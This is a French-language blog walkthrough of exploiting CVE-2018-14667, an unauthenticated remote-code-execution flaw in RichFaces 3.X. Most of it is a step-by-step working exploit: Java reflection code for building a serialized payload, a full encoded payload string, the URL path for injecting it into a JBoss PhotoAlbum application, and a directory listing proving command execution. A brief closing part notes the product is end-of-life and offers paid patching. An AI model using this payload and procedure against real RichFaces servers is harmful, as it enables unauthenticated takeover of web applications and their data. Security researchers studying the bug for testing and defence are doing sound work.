
Tout sur CVE-2018-14667 ; de ce que c'est à comment l'exploiter avec succès.
Après avoir passé beaucoup de temps à comprendre et à exploiter correctement cette CVE, j'ai décidé de créer un dépôt sur le bug RCE de RichFaces 3.X et de partager les procédures pas à pas avec la communauté.
0x00 : Introduction sur le bug de RichFaces 3.X
Le lundi 19 novembre, Joao F M Figueiredo a publié un article très détaillé (https://seclists.org/fulldisclosure/2018/Nov/47) sur une vulnérabilité critique à haut risque de RichFaces.
Score de base CVSS3 9.8
Cette vulnérabilité permettra à tout utilisateur non authentifié d'exécuter du code à distance sur toute application web utilisant RichFaces 3.X (toutes versions), ce qui est pratiquement le pire des cas.
0x01 : Suis-je concerné ? ![]()
Eh bien, si vous utilisez RichFaces 3.X (toute version de RichFaces 3) et que vous voyez le code suivant dans votre source, il y a de fortes chances que vous soyez vulnérable à l'exécution de code à distance via CVE-2018-14667 :
0x02 : Exécution d'un environnement vulnérable pour tester le bug ![]()
Je vais essentiellement réexpliquer ce qui a déjà été couvert dans l'article de seclists.org sur le déploiement d'un environnement vulnérable.
0x03 : Génération d'une charge utile valide ![]()
Maintenant la partie amusante ! C'est là que j'ai rencontré des difficultés, donc je vais expliquer en détail comment générer une charge utile valide sans répéter les mêmes erreurs que j'ai faites. Je suggère d'utiliser Eclipse pour compiler la charge utile.
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
Le résultat de votre sortie dans Eclipse devrait ressembler à ceci :
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : Envoi de votre charge utile et obtention d'exécution de code à distance ![]()
Naviguez dans votre navigateur vers votre serveur JBoss local exécutant l'application web PhotoAlbum http://192.168.100.2:8080/photoalbum et faites un clic droit pour afficher le code source de la page. Appuyez sur Ctrl+F et recherchez '/DATA/'. Vous devriez trouver quelque chose de similaire à ceci :
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
Vous pouvez clairement voir l'objet sérialisé. C'est là que nous remplacerons l'objet sérialisé par notre charge utile pour obtenir l'exécution de code à distance. Dans votre navigateur, modifiez l'URL pour http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Ma charge utile exécutait la commande suivante 'touch /tmp/PoorRichFaces'. Voyons si j'ai réussi :
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
Ça fait du bien, n'est-ce pas ? Nous venons d'obtenir une RCE sur une application web Java utilisant RichFaces 3.X.
0x05 : Comment patcher ? ![]()
Vous n'allez peut-être pas aimer ce fait, alors soyez prêt et accrochez-vous à votre clavier ; RichFaces a atteint la fin de vie concernant le support de son produit, donc les utilisateurs (vous) doivent appliquer leur propre correctif. Ne paniquez pas, si vous ne trouvez pas de moyen de patcher, n'hésitez pas à me contacter, nous pouvons prendre un arrangement pour que je puisse patcher vos applications web Java.
E-mail: [email protected]